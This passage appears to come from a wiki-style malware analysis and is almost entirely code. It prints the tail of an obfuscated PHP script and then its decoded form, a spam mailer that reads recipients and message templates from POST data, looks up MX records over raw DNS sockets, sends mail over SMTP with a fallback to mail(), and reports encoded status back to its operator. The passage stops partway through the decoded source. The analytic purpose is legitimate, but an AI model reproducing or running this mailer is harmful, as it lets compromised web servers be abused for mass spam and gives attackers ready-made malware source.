$wtqra76++) { $mlaat34[$wtqra76] = $GLOBALS[&#039;xyxdn38&#039;]($GLOBALS[&#039;rtdlc97&#039;]($mlaat34[$wtqra76]) ^ 2);} return $GLOBALS[&#039;zjheh80&#039;]($mlaat34); } function rzekg39($r76, $qzvww53, $ajvyf84, $kbujj5, $nqbin74, $qvbta37, &amp;amp;$kdidw81, &amp;amp;$msnsv40, $gxosp36 = false) { $vynus66 = &amp;quot;&amp;quot;; $yjmto45 = NULL; $qrmrf7 = NULL; $kdidw81 = 0; $msnsv40 = &amp;quot;&amp;quot;; if ($ajvyf84 == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[67].$r76[40].$r76[3])) { $vynus66 = $r76[87].$r76[27].$r76[41]; $yjmto45 = SOL_TCP; $qrmrf7 = SOCK_STREAM; } else if ($ajvyf84 == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[44].$r76[6].$r76[3])) { $vynus66 = $r76[45].$r76[95].$r76[41]; $qrmrf7 = SOCK_DGRAM; $yjmto45 = SOL_UDP; } else { $msnsv40 = $r76[79].$r76[24].$r76[24].$r76[49].$r76[24].$r76[74].$r76[39].$r76[53].$r76[58].$r76[70].$r76[90].$r76[5].$r76[53].$r76[95].$r76[39].$r76[41].$r76[24].$r76[49].$r76[87].$r76[49].$r76[27].$r76[49].$r76[5]; return FALSE; } switch($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79])) { case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67]): if ($qzvww53 == FALSE) { $qzvww53 = @$GLOBALS[&#039;gisxn89&#039;](AF_INET, $qrmrf7, $yjmto45); if ($qzvww53 == FALSE) { $kdidw81 = $GLOBALS[&#039;oqikt29&#039;](); $msnsv40 = $GLOBALS[&#039;tvxvt28&#039;]($kdidw81); break; } $GLOBALS[&#039;fmlld76&#039;]($qzvww53 , SOL_SOCKET, SO_REUSEADDR, 1); $GLOBALS[&#039;fmlld76&#039;]($qzvww53 , SOL_SOCKET, SO_RCVTIMEO, array($r76[66].$r76[94].$r76[27] =&amp;gt; $qvbta37, $r76[45].$r76[66].$r76[94].$r76[27] =&amp;gt; 0)); $GLOBALS[&#039;fmlld76&#039;]($qzvww53 , SOL_SOCKET, SO_SNDTIMEO, array($r76[66].$r76[94].$r76[27] =&amp;gt; $qvbta37, $r76[45].$r76[66].$r76[94].$r76[27] =&amp;gt; 0)); if ($gxosp36) { $GLOBALS[&#039;zwafy86&#039;]($qzvww53); } } if (!@$GLOBALS[&#039;uocvp26&#039;]($qzvww53, $kbujj5, $nqbin74)) { $kdidw81 = $GLOBALS[&#039;oqikt29&#039;]($qzvww53); $msnsv40 = $GLOBALS[&#039;tvxvt28&#039;]($kdidw81); } if ($gxosp36) { $GLOBALS[&#039;zwafy86&#039;]($qzvww53); } break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[0].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67]): $qzvww53 = @$GLOBALS[&#039;xvxof76&#039;]($vynus66.$r76[74].$r76[16].$r76[16].$kbujj5, $nqbin74, $kdidw81, $msnsv40, $qvbta37); if ($qzvww53 &amp;amp;&amp;amp; $gxosp36) { @$GLOBALS[&#039;vzqix48&#039;]($qzvww53, 0); } @$GLOBALS[&#039;sltum36&#039;]($qzvww53, $qvbta37); break; case $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[67].$r76[68].$r76[79].$r76[4].$r76[11]): $qzvww53 = @$GLOBALS[&#039;clkxn20&#039;]($vynus66.$r76[74].$r76[16].$r76[16].$kbujj5.$r76[74].$nqbin74, $kdidw81, $msnsv40, $qvbta37); if ($qzvww53 &amp;amp;&amp;amp; $gxosp36) { @$GLOBALS[&#039;vzqix48&#039;]($qzvww53, 0); } @$GLOBALS[&#039;sltum36&#039;]($qzvww53, $qvbta37); break; default: $msnsv40 = $r76[79].$r76[24].$r76[24].$r76[49].$r76[24].$r76[74].$r76[39].$r76[53].$r76[58].$r76[70].$r76[90].$r76[5].$r76[53].$r76[95].$r76[39].$r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[39].$r76[87].$r76[69].$r76[41].$r76[94]; return FALSE; } return $qzvww53; } function xllez0($r76, &amp;amp;$qzvww53) { if ($qzvww53 == FALSE) { return; } if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])) { @$GLOBALS[&#039;unkvq75&#039;]($qzvww53); } else { @$GLOBALS[&#039;yoxhh65&#039;]($qzvww53); } $qzvww53 = FALSE; return; } function oyysg80($r76, $qzvww53, $ykcxg22, &amp;amp;$kdidw81, &amp;amp;$msnsv40) { if ($qzvww53 == FALSE) { return FALSE; } if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])) { $bdhch16 = @$GLOBALS[&#039;dskbo69&#039;]($qzvww53, $ykcxg22, PHP_BINARY_READ); if ($bdhch16 == FALSE) { $kdidw81 = $GLOBALS[&#039;oqikt29&#039;]($qzvww53); $msnsv40 = $GLOBALS[&#039;tvxvt28&#039;]($kdidw81); } } else { if (@$GLOBALS[&#039;jhtbn88&#039;]($qzvww53)) { return FALSE; } $bdhch16 = @$GLOBALS[&#039;zflfl64&#039;]($qzvww53, $ykcxg22); if ($GLOBALS[&#039;brkww19&#039;]($bdhch16) == 0) { $kdidw81 = 35; } } return $bdhch16; } function foftg27($r76, $qzvww53, $jrnqk91, &amp;amp;$kdidw81, &amp;amp;$msnsv40) { if ($qzvww53 == FALSE) { return FALSE; } if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])) { $bdhch16 = @$GLOBALS[&#039;uwnpx27&#039;]($qzvww53, $jrnqk91); if ($bdhch16 == FALSE) { $kdidw81 = $GLOBALS[&#039;oqikt29&#039;]($qzvww53); $msnsv40 = $GLOBALS[&#039;tvxvt28&#039;]($kdidw81); } } else { if (@$GLOBALS[&#039;jhtbn88&#039;]($qzvww53)) { return FALSE; } $bdhch16 = @$GLOBALS[&#039;stdvp96&#039;]($qzvww53, $jrnqk91); } return $bdhch16; } function wdtjf68($r76, $qzvww53, $qvbta37) { if ($qzvww53 == FALSE) { return FALSE; } if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])) { @$GLOBALS[&#039;fmlld76&#039;]($qzvww53 , SOL_SOCKET, SO_RCVTIMEO, array($r76[66].$r76[94].$r76[27] =&amp;gt; $qvbta37, $r76[45].$r76[66].$r76[94].$r76[27] =&amp;gt; 0)); @$GLOBALS[&#039;fmlld76&#039;]($qzvww53 , SOL_SOCKET, SO_SNDTIMEO, array($r76[66].$r76[94].$r76[27] =&amp;gt; $qvbta37, $r76[45].$r76[66].$r76[94].$r76[27] =&amp;gt; 0)); } else { @$GLOBALS[&#039;sltum36&#039;]($qzvww53, $qvbta37); } return TRUE; } function ybewy88($r76, $pfahk9, $jvanz2) { $kdidw81 = 0; $msnsv40 = &amp;quot;&amp;quot;; $qzvww53 = $GLOBALS[&#039;yoejz48&#039;]($r76, FALSE, $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[44].$r76[6].$r76[3]), $r76[18].$r76[86].$r76[18].$r76[86].$r76[18].$r76[86].$r76[18], 53, 10, $kdidw81, $msnsv40); if (!$qzvww53) { return FALSE; } $lsxth41 = $GLOBALS[&#039;ocmvf65&#039;](0x0001, 0xFFFE); $uamee6 = $GLOBALS[&#039;bkenc7&#039;]($r76[86], $pfahk9); $vcoty45 = $GLOBALS[&#039;llpxl21&#039;]($r76[58].$r76[58].$r76[58].$r76[58].$r76[58].$r76[58], $lsxth41, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000); foreach($uamee6 as $sahcc1) { $vcoty45 .= $GLOBALS[&#039;llpxl21&#039;]($r76[40].$r76[90].$r76[77], $GLOBALS[&#039;brkww19&#039;]($sahcc1), $sahcc1); } $vcoty45.= $GLOBALS[&#039;llpxl21&#039;]($r76[40].$r76[58].$r76[58], 0x00, $jvanz2, 0x0001); $zkvhr54 = $GLOBALS[&#039;ibere91&#039;]($r76, $qzvww53, $vcoty45, $kdidw81, $msnsv40); if (!$zkvhr54 || $zkvhr54 != $GLOBALS[&#039;brkww19&#039;]($vcoty45)) { $GLOBALS[&#039;xcnkh30&#039;]($r76, $qzvww53); return FALSE; } $yikqh30 = $GLOBALS[&#039;yhcum29&#039;]($r76, $qzvww53, 4086, $kdidw81, $msnsv40); if ($yikqh30 == FALSE || $GLOBALS[&#039;brkww19&#039;]($yikqh30) &amp;lt; 12) { $GLOBALS[&#039;xcnkh30&#039;]($r76, $qzvww53); return FALSE; } $eynrg66 = $GLOBALS[&#039;efljc33&#039;]($r76[58].$r76[87].$r76[53].$r76[95].$r76[16].$r76[58].$r76[7].$r76[5].$r76[90].$r76[61].$r76[66].$r76[16].$r76[58].$r76[84].$r76[45].$r76[94].$r76[16].$r76[58].$r76[90].$r76[58].$r76[66].$r76[16].$r76[58].$r76[90].$r76[45].$r76[87].$r76[36].$r76[16].$r76[58].$r76[90].$r76[95].$r76[95], substr($yikqh30, 0, 12)); $zjthw11 = 12; $bdhch16 = array($r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24] =&amp;gt; $eynrg66); for ($afses42 = $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[79].$r76[55].$r76[67].$r76[64].$r76[17].$r76[56]); $afses42 &amp;lt;= $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[6].$r76[6].$r76[64].$r76[67].$r76[64].$r76[17].$r76[56].$r76[4].$r76[71]); $afses42++) { $trxcp25 = &#039;&#039;; switch ($afses42) { case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[79].$r76[55].$r76[67].$r76[64].$r76[17].$r76[56]): $trxcp25 = $r76[84].$r76[45].$r76[94]; break; case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[56].$r76[55].$r76[82].$r76[79].$r76[68]): $trxcp25 = $r76[90].$r76[58].$r76[66]; break; case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[44].$r76[67].$r76[22].$r76[17].$r76[68].$r76[64].$r76[67].$r76[34]):$trxcp25 = $r76[90].$r76[45].$r76[87].$r76[36];break; case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[6].$r76[6].$r76[64].$r76[67].$r76[64].$r76[17].$r76[56].$r76[4].$r76[71]):$trxcp25 = $r76[90].$r76[95].$r76[95];break; } for ($ybjpw87 = 0; $ybjpw87 &amp;lt; $eynrg66[$trxcp25]; $ybjpw87++) { $qthuo24[$r76[58].$r76[90].$r76[78].$r76[94]] = $GLOBALS[&#039;zndda55&#039;]($r76, $zjthw11, $yikqh30); if ($afses42 == $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[79].$r76[55].$r76[67].$r76[64].$r76[17].$r76[56])) { $qthuo24 = $GLOBALS[&#039;lzlla40&#039;]($qthuo24, $GLOBALS[&#039;efljc33&#039;]($r76[58].$r76[87].$r76[69].$r76[41].$r76[94].$r76[16].$r76[58].$r76[27].$r76[5].$r76[90].$r76[66].$r76[66], substr($yikqh30, $zjthw11, 4))); $zjthw11+=4; } else { $qthuo24 = $GLOBALS[&#039;lzlla40&#039;]($qthuo24 , $GLOBALS[&#039;efljc33&#039;]($r76[58].$r76[87].$r76[69].$r76[41].$r76[94].$r76[16].$r76[58].$r76[27].$r76[5].$r76[90].$r76[66].$r76[66].$r76[16].$r76[56].$r76[87].$r76[87].$r76[5].$r76[16].$r76[58].$r76[95].$r76[90].$r76[87].$r76[90].$r76[5].$r76[94].$r76[58].$r76[61].$r76[87].$r76[36], substr($yikqh30, $zjthw11, 10))); $zjthw11+=10; switch ($qthuo24[$r76[87].$r76[69].$r76[41].$r76[94]]) { case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[11].$r76[32]): $qthuo24 = $GLOBALS[&#039;lzlla40&#039;]($qthuo24, $GLOBALS[&#039;efljc33&#039;]($r76[58].$r76[41].$r76[24].$r76[94].$r76[7].$r76[94].$r76[24].$r76[94].$r76[58].$r76[27].$r76[94], substr($yikqh30, $zjthw11, 2))); $zjthw11+=2; $qthuo24[$r76[95].$r76[90].$r76[87].$r76[90]] = $GLOBALS[&#039;zndda55&#039;]($r76, $zjthw11, $yikqh30); break; case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[4]): $qthuo24 = $GLOBALS[&#039;lzlla40&#039;]($qthuo24, $GLOBALS[&#039;efljc33&#039;]($r76[56].$r76[95].$r76[90].$r76[87].$r76[90], substr($yikqh30, $zjthw11, 4))); $zjthw11+=4; $qthuo24[$r76[53].$r76[41]] = $GLOBALS[&#039;axqrn63&#039;]($qthuo24[$r76[95].$r76[90].$r76[87].$r76[90]]); break; case $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[56].$r76[55]): $qthuo24[$r76[95].$r76[90].$r76[87].$r76[90]] = $GLOBALS[&#039;zndda55&#039;]($r76, $zjthw11, $yikqh30); break; default: $zjthw11 += $qthuo24[$r76[95].$r76[90].$r76[87].$r76[90].$r76[5].$r76[94].$r76[58].$r76[61].$r76[87].$r76[36]]; } } $bdhch16[$trxcp25][] = $qthuo24; } } return $bdhch16; } function cgzhg7($r76, &amp;amp;$kwgra59, $yikqh30) { $bdhch16 = &amp;quot;&amp;quot;; $svrpc42 = $kwgra59; while ($GLOBALS[&#039;rtdlc97&#039;]($yikqh30[$svrpc42]) != 0) { if ($GLOBALS[&#039;rtdlc97&#039;]($yikqh30[$svrpc42]) == 0xC0) { if ($svrpc42 &amp;gt;= $kwgra59) { $kwgra59 += 2; } $svrpc42 = $GLOBALS[&#039;rtdlc97&#039;]($yikqh30[$svrpc42 + 1]); continue; } if ($GLOBALS[&#039;brkww19&#039;]($bdhch16) &amp;gt; 0) { $bdhch16 .= $r76[86]; } $bdhch16 .= substr($yikqh30, $svrpc42 + 1, $GLOBALS[&#039;rtdlc97&#039;]($yikqh30[$svrpc42])); $svrpc42 += $GLOBALS[&#039;rtdlc97&#039;]($yikqh30[$svrpc42]) + 1; if ($svrpc42 &amp;gt; $kwgra59) { $kwgra59 = $svrpc42; } } if ($svrpc42 &amp;gt;= $kwgra59) { $kwgra59 += 1; } return $bdhch16; } &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The decoded code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
$r76=&amp;quot;F[&amp;lt;PAlDf|]}M@~79/O8Kx\rH6r&amp;amp;-c5k\n3X,YzhQ&amp;gt; Cp\\wUu2jGoB;0i_SN\tn%Vg)ZI^sTRyvL{\$:=1*mE+JW(q4.t&#039;`a!\&amp;quot;#edb?&amp;quot;; &lt;br /&gt;
&lt;br /&gt;
// @error_reporting(NULL);&lt;br /&gt;
// @ini_set(&amp;quot;error_log&amp;quot;, NULL);&lt;br /&gt;
// @ini_set(&amp;quot;log_errors&amp;quot;, 0);&lt;br /&gt;
define(&amp;quot;DNS_TYPE_MX&amp;quot;, 0x000F);&lt;br /&gt;
define(&amp;quot;DNS_TYPE_A&amp;quot;, 0x0001);&lt;br /&gt;
define(&amp;quot;DNS_TYPE_NS&amp;quot;, 0x0002);&lt;br /&gt;
define(&amp;quot;DNS_STEP_QESTION&amp;quot;, 1);&lt;br /&gt;
define(&amp;quot;DNS_STEP_ANSWER&amp;quot;, 2);&lt;br /&gt;
define(&amp;quot;DNS_STEP_AUTHORITY&amp;quot;, 3);&lt;br /&gt;
define(&amp;quot;DNS_STEP_ADDITIONAL&amp;quot;, 4);&lt;br /&gt;
define(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;, 1);&lt;br /&gt;
define(&amp;quot;SOCKET_TYPE_FSOCKET&amp;quot;, 2);&lt;br /&gt;
define(&amp;quot;SOCKET_TYPE_STREAM&amp;quot;, 4);&lt;br /&gt;
define(&amp;quot;SOCKET_TYPE_NO&amp;quot;, 5);&lt;br /&gt;
define(&amp;quot;SOCKET_PROTO_TCP&amp;quot;, 1);&lt;br /&gt;
define(&amp;quot;SOCKET_PROTO_UDP&amp;quot;, 2);&lt;br /&gt;
define(&amp;quot;STEP_CONNECT&amp;quot;, 0);&lt;br /&gt;
define(&amp;quot;STEP_CONNECTED&amp;quot;, 1);&lt;br /&gt;
define(&amp;quot;STEP_EHLO&amp;quot;, 2);&lt;br /&gt;
define(&amp;quot;STEP_MAILFROM&amp;quot;, 3);&lt;br /&gt;
define(&amp;quot;STEP_RCPTTO&amp;quot;, 4);&lt;br /&gt;
define(&amp;quot;STEP_DATA&amp;quot;, 5);&lt;br /&gt;
define(&amp;quot;STEP_BODY&amp;quot;, 6);&lt;br /&gt;
define(&amp;quot;STEP_QUIT&amp;quot;, 7);&lt;br /&gt;
define(&amp;quot;STEP_COMPLETED&amp;quot;, 8);&lt;br /&gt;
determine_socket_type($r76, NULL);&lt;br /&gt;
$senderEmailData = array(&lt;br /&gt;
    &amp;quot;toList&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
    &amp;quot;fromLogin&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
    &amp;quot;fromName&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
    &amp;quot;subjTempl&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
    &amp;quot;bodyTempl&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
    &amp;quot;hostFrom&amp;quot; =&amp;gt; &amp;quot;&amp;quot;&lt;br /&gt;
);&lt;br /&gt;
if (FALSE == getDataFromPost($r76, $senderEmailData)) {&lt;br /&gt;
    echo PHP_OS . &amp;quot;+&amp;quot; . md5(0987654321) . &amp;quot;+01+[[]]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
$emailDataList = array();&lt;br /&gt;
for ($i = 0; $i &amp;lt; count($senderEmailData[&amp;quot;toList&amp;quot;]); $i++) {&lt;br /&gt;
    $emailData = array(&lt;br /&gt;
        &amp;quot;id&amp;quot; =&amp;gt; $i,&lt;br /&gt;
        &amp;quot;g_mailto&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_mailto+&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_mailfrom&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_mailfrom+&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_domainto&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_domainfrom&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_namefirst&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_namelast&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_body&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_subject&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_fff&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;g_header&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;g_headerfrom&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;s_header&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;s_mxhost&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;s_mxaddr&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;s_sock&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;s_time&amp;quot; =&amp;gt; time(),&lt;br /&gt;
        &amp;quot;s_step&amp;quot; =&amp;gt; constant(&amp;quot;STEP_CONNECT&amp;quot;),&lt;br /&gt;
        &amp;quot;s_port&amp;quot; =&amp;gt; 25,&lt;br /&gt;
        &amp;quot;s_datain&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;s_dataout&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;s_trig&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;l_err&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;l_done&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;l_way&amp;quot; =&amp;gt; 0, // 0 for not done, 1 for step?, 2 for using mail()&lt;br /&gt;
        &amp;quot;l_failsmtp&amp;quot; =&amp;gt; FALSE,&lt;br /&gt;
        &amp;quot;l_smtp_end&amp;quot; =&amp;gt; FALSE&lt;br /&gt;
    );&lt;br /&gt;
    if (FALSE == populateEmailData($r76, $senderEmailData[&amp;quot;toList&amp;quot;][$i], $senderEmailData, $emailData)) {&lt;br /&gt;
        echo PHP_OS . &amp;quot;+&amp;quot; . md5(1111111111) . &amp;quot;+02+[[&amp;quot; . encode_data($r76, $senderEmailData[&amp;quot;toList&amp;quot;][$i]) . &amp;quot;]]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
        continue;&lt;br /&gt;
    }&lt;br /&gt;
    $emailDataList[] = $emailData;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print_r($emailDataList);&lt;br /&gt;
&lt;br /&gt;
exit;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
processSendEmails($r76, $emailDataList); // first send by sockets&lt;br /&gt;
sendByMail($r76, $emailDataList); // then fall back to mail()&lt;br /&gt;
printStatus($r76, $emailDataList); // print status&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
exit;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function printStatus($r76, $emailDataList)&lt;br /&gt;
{&lt;br /&gt;
    $successes = 0;&lt;br /&gt;
    $successMethods = &amp;quot;&amp;quot;;&lt;br /&gt;
    for ($i = 0; $i &amp;lt; count($emailDataList); $i++) {&lt;br /&gt;
        if ($emailDataList[$i][&amp;quot;l_failsmtp&amp;quot;] == TRUE) {&lt;br /&gt;
            echo PHP_OS . &amp;quot;+&amp;quot; . md5(2222222222) . &amp;quot;+04+[[&amp;quot; . encode_data($r76, $emailDataList[$i][&amp;quot;g_mailto&amp;quot;] . &amp;quot; :: &amp;quot; . $emailDataList[$i][&amp;quot;l_err&amp;quot;]) . &amp;quot;]]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        if ($emailDataList[$i][&amp;quot;l_done&amp;quot;] == TRUE) {&lt;br /&gt;
            $successMethods .= $emailDataList[$i][&amp;quot;l_way&amp;quot;];&lt;br /&gt;
            $successes++;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if ($successes == 0) {&lt;br /&gt;
        echo PHP_OS . &amp;quot;+&amp;quot; . md5(0987654321) . &amp;quot;+04+[[]]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    } else {&lt;br /&gt;
        echo &amp;quot;OK+&amp;quot; . md5(1234567890) . &amp;quot;+&amp;quot; . $successes . &amp;quot;+&amp;quot; . count($emailDataList) . &amp;quot;[&amp;quot; . $successMethods . &amp;quot;]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
function sendByMail($r76, &amp;amp;$emailDataList)&lt;br /&gt;
{&lt;br /&gt;
    if (!function_exists(&amp;quot;mail&amp;quot;)) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    for ($i = 0; $i &amp;lt; count($emailDataList); $i++) {&lt;br /&gt;
        if ($emailDataList[$i][&amp;quot;l_done&amp;quot;] == TRUE) {&lt;br /&gt;
            continue;&lt;br /&gt;
        }&lt;br /&gt;
        if ($emailDataList[$i][&amp;quot;g_fff&amp;quot;]) {&lt;br /&gt;
            if (@mail($emailDataList[$i][&amp;quot;g_mailto+&amp;quot;], $emailDataList[$i][&amp;quot;g_subject&amp;quot;], $emailDataList[$i][&amp;quot;g_body&amp;quot;], $emailDataList[$i][&amp;quot;g_headerfrom&amp;quot;] . $emailDataList[$i][&amp;quot;g_header&amp;quot;], &amp;quot;-f&amp;quot; . $emailDataList[$i][&amp;quot;g_mailfrom&amp;quot;])) {&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_done&amp;quot;] = TRUE;&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_way&amp;quot;]  = 2;&lt;br /&gt;
            } else {&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_done&amp;quot;] = FALSE;&lt;br /&gt;
            }&lt;br /&gt;
        } else {&lt;br /&gt;
            if (@mail($emailDataList[$i][&amp;quot;g_mailto+&amp;quot;], $emailDataList[$i][&amp;quot;g_subject&amp;quot;], $emailDataList[$i][&amp;quot;g_body&amp;quot;], $emailDataList[$i][&amp;quot;g_header&amp;quot;])) {&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_done&amp;quot;] = TRUE;&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_way&amp;quot;]  = 2;&lt;br /&gt;
            } else {&lt;br /&gt;
                $emailDataList[$i][&amp;quot;l_done&amp;quot;] = FALSE;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
function processSendEmails($r76, &amp;amp;$emailDataList)&lt;br /&gt;
{&lt;br /&gt;
	// while at least one socket in email list is opened...&lt;br /&gt;
    while (hasOpenedSockets($r76, $emailDataList)) {&lt;br /&gt;
		// process the emails in the list&lt;br /&gt;
        processEmailSending($r76, $emailDataList);&lt;br /&gt;
        usleep(25000);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
